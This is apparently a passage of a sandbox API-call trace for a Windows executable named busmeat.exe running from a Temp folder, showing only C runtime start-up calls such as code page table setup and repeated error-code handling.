	[0064.106] GetProcAddress (hModule=0x77670000, lpProcName="GetTickCount64") returned 0x77688710
	[0064.106] GetProcAddress (hModule=0x77670000, lpProcName="GetFileInformationByHandleExW") returned 0x0
	[0064.106] GetProcAddress (hModule=0x77670000, lpProcName="SetFileInformationByHandleW") returned 0x0
	[0064.107] GetCurrentThreadId () returned 0xefc
	[0064.107] GetStartupInfoW (in: lpStartupInfo=0x19fed0 | out: lpStartupInfo=0x19fed0*(cb=0x44, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x4046ec, hStdOutput=0xa83f9329, hStdError=0x403030)) 
	[0064.107] GetStdHandle (nStdHandle=0xfffffff6) returned 0x0
	[0064.107] GetStdHandle (nStdHandle=0xfffffff5) returned 0x0
	[0064.107] GetStdHandle (nStdHandle=0xfffffff4) returned 0x0
	[0064.107] GetCommandLineA () returned="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe"
	[0064.107] GetEnvironmentStringsW () returned 0xd15d08*
	[0064.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Windows\\System32", cchWideChar=1456, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1456
	[0064.107] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="=C:=C:\\Windows\\System32", cchWideChar=1456, lpMultiByteStr=0xd16870, cbMultiByte=1456, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="=C:=C:\\Windows\\System32", lpUsedDefaultChar=0x0) returned 1456
	[0064.107] FreeEnvironmentStringsW (penv=0xd15d08) returned 1
	[0064.107] GetLastError () returned 0x7f
	[0064.107] SetLastError (dwErrCode=0x7f) 
	[0064.107] GetLastError () returned 0x7f
	[0064.108] SetLastError (dwErrCode=0x7f) 
	[0064.108] GetLastError () returned 0x7f
	[0064.108] SetLastError (dwErrCode=0x7f) 
	[0064.108] GetACP () returned 0x4e4
	[0064.108] GetLastError () returned 0x7f
	[0064.108] SetLastError (dwErrCode=0x7f) 
	[0064.108] IsValidCodePage (CodePage=0x4e4) returned 1
	[0064.108] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19fed4 | out: lpCPInfo=0x19fed4) returned 1
	[0064.108] GetCPInfo (in: CodePage=0x4e4, lpCPInfo=0x19f99c | out: lpCPInfo=0x19f99c) returned 1
	[0064.108] GetLastError () returned 0x7f
	[0064.108] SetLastError (dwErrCode=0x7f) 
	[0064.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fdb0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0064.108] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fdb0, cbMultiByte=256, lpWideCharStr=0x19f718, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256
	[0064.108] GetStringTypeW (in: dwInfoType=0x1, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpCharType=0x19f9b0 | out: lpCharType=0x19f9b0) returned 1
	[0064.109] GetLastError () returned 0x7f
	[0064.109] SetLastError (dwErrCode=0x7f) 
	[0064.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fdb0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0064.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fdb0, cbMultiByte=256, lpWideCharStr=0x19f6e8, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256
	[0064.109] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
	[0064.109] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x100, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchSrc=256, lpDestStr=0x19f4d8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ") returned 256
	[0064.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰š‹œ\x8dž\x8f\x90‘’“”•–—˜™š›œ\x9džÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿȀ", cchWideChar=256, lpMultiByteStr=0x19fcb0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ©\x92?¨ìþ\x19", lpUsedDefaultChar=0x0) returned 256
	[0064.109] GetLastError () returned 0x7f
	[0064.109] SetLastError (dwErrCode=0x7f) 
	[0064.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fdb0, cbMultiByte=256, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 256
	[0064.109] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x1, lpMultiByteStr=0x19fdb0, cbMultiByte=256, lpWideCharStr=0x19f708, cchWideChar=256 | out: lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鴨@Ā") returned 256
	[0064.109] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鴨@Ā", cchSrc=256, lpDestStr=0x0, cchDest=0, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=0x0) returned 256
	[0064.109] LCMapStringEx (in: lpLocaleName=0x0, dwMapFlags=0x200, lpSrcStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f€\x81‚ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™š›œ\x9džŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ鴨@Ā", cchSrc=256, lpDestStr=0x19f4f8, cchDest=256, lpVersionInformation=0x0, lpReserved=0x0, lParam=0x0 | out: lpDestStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ") returned 256
	[0064.109] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f€\x81‚Ƒ„…†‡ˆ‰Š‹Œ\x8dŽ\x8f\x90‘’“”•–—˜™Š›Œ\x9dŽŸ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞŸȀ", cchWideChar=256, lpMultiByteStr=0x19fbb0, cbMultiByte=256, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x8a\x9b\x8c\x9d\x8e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ÷ØÙÚÛÜÝÞ\x9f \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x9a\x8b\x9c\x8d\x9e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9eÿ ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿àáâãäåæçèéêëìíîïðñòóôõö×øùúûüýþßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ \x01\x02\x03\x04\x05\x06\x07\x08\x09\n\x0b\x0c\r\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f !\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~\x7f\x80\x81\x82\x83\x84…\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f ¡¢£¤¥¦§¨©ª«¬­®¯°±²³´µ¶·¸¹º»¼½¾¿ÀÁÂÃÄÅÆÇÈÉÊËÌÍÎÏÐÑÒÓÔÕÖ×ØÙÚÛÜÝÞßàáâãäåæçèéêëìíîïðñòóôõö÷øùúûüýþÿ©\x92?¨ìþ\x19", lpUsedDefaultChar=0x0) returned 256
	[0064.109] GetModuleFileNameA (in: hModule=0x0, lpFilename=0xb1fa60, nSize=0x104 | out: lpFilename="C:\\Users\\CIIHMN~1\\AppData\\Local\\Temp\\busmeat.exe" (normalized: "c:\\users\\ciihmn~1\\appdata\\local\\temp\\busmeat.exe")) returned 0x30
	[0064.109] GetLastError () returned 0x0
	[0064.109] SetLastError (dwErrCode=0x0) 
	[0064.109] GetLastError () returned 0x0
	[0064.109] SetLastError (dwErrCode=0x0) 
	[0064.109] GetLastError () returned 0x0
	[0064.109] SetLastError (dwErrCode=0x0) 
	[0064.109] GetLastError () returned 0x0
	[0064.109] SetLastError (dwErrCode=0x0) 
	[0064.109] GetLastError () returned 0x0
	[0064.109] SetLastError (dwErrCode=0x0) 
	[0064.109] GetLastError () returned 0x0
	[0064.109] SetLastError (dwErrCode=0x0) 
	[0064.109] GetLastError () returned 0x0
	[0064.109] SetLastError (dwErrCode=0x0) 
	[0064.109] GetLastError () returned 0x0
	[0064.109] SetLastError (dwErrCode=0x0) 
	[0064.109] GetLastError () returned 0x0
	[0064.109] SetLastError (dwErrCode=0x0) 
	[0064.109] GetLastError () returned 0x0
	[0064.110] SetLastError (dwErrCode=0x0) 
	[0064.110] GetLastError () returned 0x0
	[0064.110] SetLastError (dwErrCode=0x0) 
	[0064.110] GetLastError () returned 0x0
	[0064.110] SetLastError (dwErrCode=0x0) 
	[0064.110] GetLastError () returned 0x0
	[0064.110] SetLastError (dwErrCode=0x0) 
	[0064.110] GetLastError () returned 0x0
	[0064.110] SetLastError (dwErrCode=0x0) 
	[0064.110] GetLastError () returned 0x0
	[0064.110] SetLastError (dwErrCode=0x0) 
	[0064.110] GetLastError () returned 0x0
	[0064.110] SetLastError (dwErrCode=0x0) 
	[0064.110] GetLastError () returned 0x0
	[0064.110] SetLastError (dwErrCode=0x0) 
	[0064.110] GetLastError () returned 0x0
	[0064.110] SetLastError (dwErrCode=0x0) 
	[0064.110] GetLastError () returned 0x0
	[0064.110] SetLastError (dwErrCode=0x0) 
	[0064.110] GetLastError () returned 0x0
	[0064.110] SetLastError (dwErrCode=0x0) 
	[0064.110] GetLastError () returned 0x0
	[0064.110] SetLastError (dwErrCode=0x0) 
	[0064.110] GetLastError () returned 0x0
	[0064.110] SetLastError (dwErrCode=0x0) 
	[0064.110] GetLastError () returned 0x0
	[0064.110] SetLastError (dwErrCode=0x0) 
	[0064.110] GetLastError () returned 0x0
	[0064.110] SetLastError (dwErrCode=0x0) 
	[0064.110] GetLastError () returned 0x0
	[0064.110] SetLastError (dwErrCode=0x0) 
	[0064.110] GetLastError () returned 0x0
	[0064.110] SetLastError (dwErrCode=0x0) 
	[0064.110] GetLastError () returned 0x0
	[0064.110] SetLastError (dwErrCode=0x0) 
	[0064.110] GetLastError () returned 0x0
	[0064.111] SetLastError (dwErrCode=0x0) 
	[0064.111] GetLastError () returned 0x0
	[0064.111] SetLastError (dwErrCode=0x0) 
	[0064.111] GetLastError () returned 0x0
	[0064.111] SetLastError (dwErrCode=0x0) 
	[0064.111] GetLastError () returned 0x0
	[0064.111] SetLastError (dwErrCode=0x0) 
	[0064.111] GetLastError () returned 0x0
	[0064.111] SetLastError (dwErrCode=0x0) 
	[0064.111] GetLastError () returned 0x0
	[0064.111] SetLastError (dwErrCode=0x0) 
	[0064.111] GetLastError () returned 0x0
	[0064.111] SetLastError (dwErrCode=0x0) 
	[0064.111] GetLastError () returned 0x0
	[0064.111] SetLastError (dwErrCode=0x0) 
	[0064.111] GetLastError () returned 0x0
	[0064.111] SetLastError (dwErrCode=0x0) 
	[0064.111] GetLastError () returned 0x0
	[0064.111] SetLastError (dwErrCode=0x0) 
	[0064.111] GetLastError () returned 0x0
	[0064.111] SetLastError (dwErrCode=0x0) 
	[0064.111] GetLastError () returned 0x0
	[0064.111] SetLastError (dwErrCode=0x0) 
	[0064.111] GetLastError () returned 0x0
	[0064.111] SetLastError (dwErrCode=0x0) 
	[0064.111] GetLastError () returned 0x0
	[0064.111] SetLastError (dwErrCode=0x0) 
	[0064.111] GetLastError () returned 0x0
	[0064.111] SetLastError (dwErrCode=0x0) 
	[0064.111] GetLastError () returned 0x0
	[0064.111] SetLastError (dwErrCode=0x0) 
	[0064.111] GetLastError () returned 0x0
	[0064.111] SetLastError (dwErrCode=0x0) 
	[0064.111] GetLastError () returned 0x0
	[0064.111] SetLastError (dwErrCode=0x0) 
	[0064.111] GetLastError () returned 0x0
	[0064.112] SetLastError (dwErrCode=0x0) 
	[0064.112] GetLastError () returned 0x0
	[0064.112] SetLastError (dwErrCode=0x0) 
	[0064.112] GetLastError () returned 0x0
	[0064.112] SetLastError (dwErrCode=0x0) 
	[0064.112] GetLastError () returned 0x0
	[0064.112] SetLastError (dwErrCode=0x0) 
	[0064.112] GetLastError () returned 0x0
	[0064.112] SetLastError (dwErrCode=0x0) 
	[0064.112] GetLastError () returned 0x0
	[0064.112] SetLastError (dwErrCode=0x0) 
	[0064.112] GetLastError () returned 0x0
	[0064.112] SetLastError (dwErrCode=0x0) 
	[0064.112] GetLastError () returned 0x0
	[0064.112] SetLastError (dwErrCode=0x0) 
	[0064.112] GetLastError () returned 0x0
	[0064.112] SetLastError (dwErrCode=0x0) 
	[0064.112] GetLastError () returned 0x0
	[0064.112] SetLastError (dwErrCode=0x0) 
	[0064.112] GetLastError () returned 0x0
	[0064.112] SetLastError (dwErrCode=0x0) 
	[0064.112] GetLastError () returned 0x0
	[0064.112] SetLastError (dwErrCode=0x0) 
	[0064.112] GetLastError () returned 0x0
	[0064.112] SetLastError (dwErrCode=0x0) 
	[0064.112] GetLastError () returned 0x0
	[0064.112] SetLastError (dwErrCode=0x0) 
	[0064.112] GetLastError () returned 0x0
	[0064.112] SetLastError (dwErrCode=0x0) 
	[0064.112] GetLastError () returned 0x0
	[0064.112] SetLastError (dwErrCode=0x0) 
	[0064.112] GetLastError () returned 0x0
	[0064.112] SetLastError (dwErrCode=0x0) 
	[0064.112] GetLastError () returned 0x0
	[0064.112] SetLastError (dwErrCode=0x0) 
	[0064.112] GetLastError () returned 0x0
	[0064.113] SetLastError (dwErrCode=0x0) 
	[0064.113] GetLastError () returned 0x0
	[0064.113] SetLastError (dwErrCode=0x0) 
	[0064.113] GetLastError () returned 0x0
	[0064.113] SetLastError (dwErrCode=0x0) 
	[0064.113] GetLastError () returned 0x0
	[0064.113] SetLastError (dwErrCode=0x0) 
	[0064.113] GetLastError () returned 0x0
	[0064.113] SetLastError (dwErrCode=0x0) 
	[0064.113] GetLastError () returned 0x0
	[0064.113] SetLastError (dwErrCode=0x0) 
	[0064.113] GetLastError () returned 0x0
	[0064.113] SetLastError (dwErrCode=0x0) 
	[0064.113] GetLastError () returned 0x0
	[0064.113] SetLastError (dwErrCode=0x0) 
	[0064.113] GetLastError () returned 0x0
	[0064.113] SetLastError (dwErrCode=0x0) 
	[0064.113] GetLastError () returned 0x0
	[0064.113] SetLastError (dwErrCode=0x0) 
	[0064.113] GetLastError () returned 0x0
	[0064.113] SetLastError (dwErrCode=0x0) 
	[0064.113] GetLastError () returned 0x0
	[0064.113] SetLastError (dwErrCode=0x0) 
	[0064.113] GetLastError () returned 0x0
	[0064.113] SetLastError (dwErrCode=0x0) 
	[0064.113] GetLastError () returned 0x0
	[0064.113] SetLastError (dwErrCode=0x0) 
	[0064.113] GetLastError () returned 0x0
	[0064.113] SetLastError (dwErrCode=0x0) 
	[0064.113] GetLastError () returned 0x0
	[0064.113] SetLastError (dwErrCode=0x0) 
	[0064.113] GetLastError () returned 0x0
	[0064.113] SetLastError (dwErrCode=0x0) 
	[0064.113] GetLastError () returned 0x0
	[0064.113] SetLastError (dwErrCode=0x0) 
	[0064.113] GetLastError () returned 0x0
	[0064.113] SetLastError (dwErrCode=0x0) 
	[0064.113] GetLastError () returned 0x0
	[0064.114] SetLastError (dwErrCode=0x0) 
	[0064.114] GetLastError () returned 0x0
	[0064.114] SetLastError (dwErrCode=0x0) 
	[0064.114] GetLastError () returned 0x0
	[0064.114] SetLastError (dwErrCode=0x0) 
	[0064.114] GetLastError () returned 0x0
	[0064.114] SetLastError (dwErrCode=0x0) 
	[0064.114] GetLastError () returned 0x0
	[0064.114] SetLastError (dwErrCode=0x0) 
	[0064.114] GetLastError () returned 0x0
	[0064.114] SetLastError (dwErrCode=0x0) 
	[0064.114] GetLastError () returned 0x0
	[0064.114] SetLastError (dwErrCode=0x0) 
	[0064.114] GetLastError () returned 0x0
	[0064.114] SetLastError (dwErrCode=0x0) 
	[0064.114] GetLastError () returned 0x0
	[0064.114] SetLastError (dwErrCode=0x0) 
	[0064.114] GetLastError () returned 0x0
	[0064.114] SetLastError (dwErrCode=0x0) 
	[0064.114] GetLastError () returned 0x0
	[0064.114] SetLastError (dwErrCode=0x0) 
	[0064.114] GetLastError () returned 0x0
	[0064.114] SetLastError (dwErrCode=0x0) 
	[0064.114] GetLastError () returned 0x0
	[0064.114] SetLastError (dwErrCode=0x0) 
	[0064.114] GetLastError () returned 0x0
	[0064.114] SetLastError (dwErrCode=0x0) 
	[0064.114] GetLastError () returned 0x0
	[0064.114] SetLastError (dwErrCode=0x0) 
	[0064.114] GetLastError () returned 0x0
	[0064.114] SetLastError (dwErrCode=0x0) 
	[0064.116] IsProcessorFeaturePresent (ProcessorFeature=0xa) returned 1
	[0064.116] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x406379) returned 0x0
	[0064.117] GetLastError () returned 0x0
	[0064.117] SetLastError (dwErrCode=0x0) 
	[0064.117] GetLastError () returned 0x0
	[0064.117] SetLastError (dwErrCode=0x0) 
	[0064.117] GetLastError () returned 0x0
